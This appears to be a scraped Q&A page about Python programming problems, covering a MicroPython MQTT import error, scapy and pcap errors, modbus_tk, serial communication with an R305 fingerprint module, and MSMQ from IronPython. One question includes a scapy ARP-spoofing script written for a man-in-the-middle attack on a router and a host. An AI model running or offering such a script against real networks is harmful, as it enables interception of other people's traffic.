Micropython paho module missing? - python

I'm trying to build a basic MQTT publisher using a nodemcu v3 and a dht11 to send temperature data. I'm using ESPlorer and when I try to upload my code it tells me that the paho module does not exist. My code is as follows:
import time
import network
import paho.mqtt.client as mqtt
sta_if = network.WLAN(network.STA_IF)
ap_if = network.WLAN(network.AP_IF)
sta_if.connect('<MySSID>', '<MyPW>')
mqtt = mqtt.Client()
mqtt.connect("randomIPaddress")
pin = machine.Pin(4)
temp_instance = dht11.DHT11(pin)
result = temp_instance.read()
print("Temperature is: %d C" % result.temperature)
print("Humidity is: %d %%" % result.humidity)
message = result.temperature
mqtt.publish("base/dht11/temp", message)
mqtt.loop_forever()
I'm still very confused by how MQTT publishing works, and I can't seem to find any sources that agree with each other on this. Everywhere I look has a different solution for my problem.
Does anyone have an idea why ESPLorer keeps telling me that the paho module doesn't exist? I've already tried installing the module as shown in the documentation but that got me nowhere.
Edit:
https://pypi.python.org/pypi/paho-mqtt/1.1
These where the instructions I followed to install paho.

The paho MQTT client has been written for regular Python. It is unlikely that it would run under MicroPython.
MicroPython includes its own MQTT client called umqtt. There are two versions, umqtt.simple and umqtt.robust.
You can see an example that uses it here.

Related

Python scapy - Error :No libpcap provider available

I am using scapy for a simple MITM attack script (I am using it for educational perposes only of course), and I got this strange error which says : WARNING: No libpcap provider available ! pcap won't be used. I tryied looking this error up online but no one realy answered it. What does this error mean? Is it possible that I am just not using the script correctly? Any help vould be appreciated.
Here is my script:
import scapy.all as scapy
def get_target_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst= 'ff:ff:ff:ff:ff:ff')
finalpacket = broadcast/arp_request
answer = scapy.srp(finalpacket, timeout=2, verbose=False)[0]
mac = answer[0][1].hwsrc
return(mac)
def restore(destination_ip, source_ip):
target_mac = get_target_mac(destination_ip)
source_mac = get_target_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=target_mac, pscr=source_ip, hwsrc = source_mac)
scapy.sendp(packet, verbose=False)
def spoof_arp(target_ip, spoofed_ip):
mac = get_target_mac(target_ip)
packet = scapy.ARP(op = 2, hwdst = target_ip, psrc=spoofed_ip)
scapy.sendp(packet, verbose=False)
def main():
try:
while True:
spoof_arp('router_ip', 'fake_ip')#I hided the real ip
spoof_arp('fake_ip', 'router_ip')
except KeyboardInterrupt:
restore('router_ip', 'fake_ip')
restore('fake_ip', 'router_ip')
exit(0)
I think that user16139739 give a possible solution. I got some problems with scapy, this being one of them, the stable has some know bugs which were corrected in the development version.
I did not install anything else, in my case perhaps I already used user16139739 solution before, but still get this error in some point and another with RawPcapReader, so I used the development version.
libpcap is a library for Unix, you need an alternate (npcap) or windows compatible counterpart (WinPcap)
I was able to remedy the problem by installing Nmap (Network Packet Manipulation Library for windows 10).

Problems reading a .pcap file in Python using scapy

I'm trying to create a program where I have to read a pcap file and then count the number of packets related to some IPs. I'm not used to program in Python but I have to use it because I'm using it on a Raspberry Pi and depending of the output I have to control several pins.
Right now I have this, but I have an error and I donĀ“t know how to solve it.
from scapy.all import *
from scapy.utils import RawPcapReader
from scapy.layers.l2 import Ether
from scapy.layers.inet import IP, TCP
def read_pcap(name_pcap):
print("Opening", name_pcap)
client_1 = '192.168.4.4:48878'
server = '10.0.0.2:80'
(client_1_ip, client_1_port) = client_1.split(':')
(server_ip, server_port) = server.split(':')
counter = 0
for(pkt_data, pkt_metadata,) in RawPcapReader(name_pcap):
counter += 1
ether_pkt = Ether(pkt_data)
# Below here are functions to filter the data
read_pcap("captura.pcap")
And the error is this one:
NameError: name 'Packet' is not defined
The error apears to be in this (for(pkt_data, pkt_metadata,) in RawPcapReader(name_pcap):) line.
Someone knows how to solve it?
Thnak you :)
As Carcigenicate pointed out, that's a known bug. It's fixed in https://github.com/secdev/scapy/commit/ff644181d9bee35979a84671690d8cd1aa1971fa
You can use the development version (over https://scapy.readthedocs.io/en/latest/installation.html#current-development-version) in the meantime
Uninstall previous version & Install Latest version from https://pypi.org/project/scapy/
pip install scapy==2.5.0rc1
This should fix the error

Can't connect to slave with Python's modbus_tk

I'm currently trying to develop an application that uses the Modbus-RTU protocol, and I have to use modbus_tk in Python 2.7.
I'm supposed to use bits of code from another application which is able to communicate with the micro-controller via modbus. It works on that app when I run the following code, but I get an error when I run the same lines in my app.
import modbus_tk
import modbus_tk.defines as cst
import modbus_tk.modbus_rtu as modbus_rtu
import serial
MB_Add_Status = 8 + 5001
def MB_GetStatus(MB_Master_handle):
try:
status = MB_Master_handle.execute(1, cst.READ_HOLDING_REGISTERS, MB_Add_Status, 1)
return status
except modbus_tk.modbus.ModbusError, e:
logger.error("%s- Code=%d" % (e, e.get_exception_code()))
MB_port = 3
masterMB = modbus_rtu.RtuMaster(serial.Serial(port='COM'+str(MB_port), baudrate=19200, bytesize=8, parity='N', stopbits=2, xonxoff=0))
status = MB_GetStatus(masterMB)
First I needed to delete the arguments baudrate, bytesize, etc. in the constructor call because it rose an error like :
TypeError: __init__() got an unexpected keyword argument 'stopbits'
But then when we get to the call to execute, there is an error again, which I couldn't solve yet :
modbus_tk.modbus.ModbusInvalidResponseError: Response length is invalid 0
The only documentation I found is: https://github.com/Nobatek/modbus-tk/tree/master/docs, but I couldn't quite understand much of it. If someone could first explain me what this error really means, and where I should look, this would be highly appreciated. Thank you very much !
The right repository for this library is https://github.com/ljean/modbus-tk
It requires PySerial 2.7
Found it !
I updated the library and set the parameters of the constructor correctly. This works fine know.

sending serial data to r305 biometric module interfacing with raspberry Pi using python 2.7

I had interfaced R305 biometric module with microcontrollers before using embedded C. But when I tried it using python, I am having error in sending hex array to it. Here is my code:
import serial
adrport = serial.Serial(port="/dev/tty0",baudrate=9600)
genimg = [0xEF,0x01,0xFF,0xFF,0xFF,0xFF,0x01,0x00,0x03,0x01,0x00,0x05]
also I tried it declaring like this:
genimg = "\xEF\x01\xFF\xFF\xFF\xFF\x01\x00\x03\x01\x00\x05"
I used to transfer the above mentioned array using the following function:
txd(genimg)
def txd(tx):
adrport.write(bytearray(tx))
Also I tried using
adrport.write(bytes(tx))
It doesnot show any errors to post the traceback, but the biometric module is not responding.
Okay, I changed the serail port to "/ttyAMA0" & now I can see the data flowing.But it also includes both "[,]" along with commas","; Can anybody help.?
Finally got the answer,defined array as
genimg = "\xEF\x01\xFF\xFF\xFF\xFF\x01\x00\x03\x01\x00\x05"
and used this.
adrport.write(bytes(tx))
Note: I tried this combination earlier also, but got loop iteration error because of using same name for both array and function. My bad,sorry everyone -;)

How to create a new MSMQ message in IronPython with label, reply queue and other properties

I'm following this example here to use MS Message Queues with IronPython.
The example works to create a message text string without any properties.
import clr
clr.AddReference('System.Messaging')
from System.Messaging import MessageQueue
ourQueue = '.\\private$\\myqueue'
queue = MessageQueue(ourQueue)
queue.Send('Hello from IronPython')
I am trying to create an empty message and then add properties (like label, a reply queue and a binary message body) and then send that complete message.
How can I do this in IronPython?
The documentation of the message class is here, but obviously has no python sample code. I have never used .net code with python and just installed IronPython to connect to an existing MSMQ environment, so I'm a bit stuck in how to proceed.
Any help?
update
See answer below, I managed to guess the systax to create a message.
The solution seems a bit hacky so I'll leave this open for a few days
I don't think that this works with IronPython classes, because serialize and deserialize them does not work like it does for c#/.net classes.
The only thing to get this work, will be to get IronPython classes serialize-able and deserialize-able. I think deserialization will be the hard part. But you may proof me wrong.
I've started guessing the syntax by examining c# examples and
have hacked a solution to the problem. The following code
delivers a message with a user defined label and response queue and a body message.
import clr
from System import Array
from System import Byte
clr.AddReference('System.Messaging')
from System.Messaging import MessageQueue
from System.Messaging import Message
ourQueue = '.\\private$\python_in'
ourOutQueue = '.\\private$\python_out'
if not MessageQueue.Exists(ourQueue):
queue = MessageQueue.Create(ourQueue)
else:
queue = MessageQueue(ourQueue)
if not MessageQueue.Exists(ourOutQueue):
out_queue = MessageQueue.Create(ourOutQueue)
else:
out_queue = MessageQueue(ourOutQueue)
mymessage = Message()
mymessage.Label = 'MyLabel'
mymessage.ResponseQueue = out_queue
mystring = 'hello world'
mybytearray = bytearray(mystring)
# this is very hacky
mymessage.BodyStream.Write(Array[Byte](mybytearray),0,len(mybytearray))
queue.Send(mymessage)

Categories